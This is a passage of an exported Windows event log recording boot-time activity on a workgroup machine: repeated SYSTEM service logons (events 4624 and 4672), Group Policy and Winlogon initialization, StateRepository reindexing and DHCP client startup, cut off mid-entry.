Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.633\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.633\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.633\t4116\tStarted the Group Policy service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.637\t4115\tGroup Policy Service started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.640\t100\tError 0x15: misuse at line 185353 of [737ae4a347]\tError\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.640\t811\tThe winlogon notification subscriber  began handling the notification event (0).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:57.640\t5324\tGroup Policy received the notification CreateSession from Winlogon for session 1.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.640\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.640\t812\tThe winlogon notification subscriber  finished handling the notification event (0).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:57.640\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.640\t811\tThe winlogon notification subscriber  began handling the notification event (0).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:57.640\t5116\tSuccessfully completed the Group Policy Service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.641\t812\tThe winlogon notification subscriber  finished handling the notification event (0).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:57.645\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.645\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.655\t223\tStateRepository partition 1 exists and ready for use [SchemaVersion=30464]\tInformation\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.656\t223\tStateRepository partition 2 exists and ready for use [SchemaVersion=30464]\tInformation\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.657\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.657\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.661\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.661\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.663\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.663\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.671\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.671\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.676\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=AppInstaller]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.677\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=AppInstallerUri]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.682\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=AppxManifest]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.683\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=AutoUpdatePackage]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.684\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=ContentGroup]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.685\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=ContentGroupFile]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.687\t1\t[PDO] (0x0000.0x04.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:57.689\t50036\tDHCPv4 client service is started\tInformation\tSystem\tMicrosoft-Windows-Dhcp-Client\n05.09.2026 08:28:57.689\t50103\tDHCPv4 client registered for shutdown notification\tInformation\tSystem\tMicrosoft-Windows-Dhcp-Client\n05.09.2026 08:28:57.689\t50036\tDHCPv4 client service is started\tInformation\tSystem\tMicrosoft-Windows-Dhcp-Client\n05.09.2026 08:28:57.692\t1531\t\"The User Profile Service has started successfully.  \n\n\"\tInformation\tApplication\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:57.693\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.693\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.700\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey 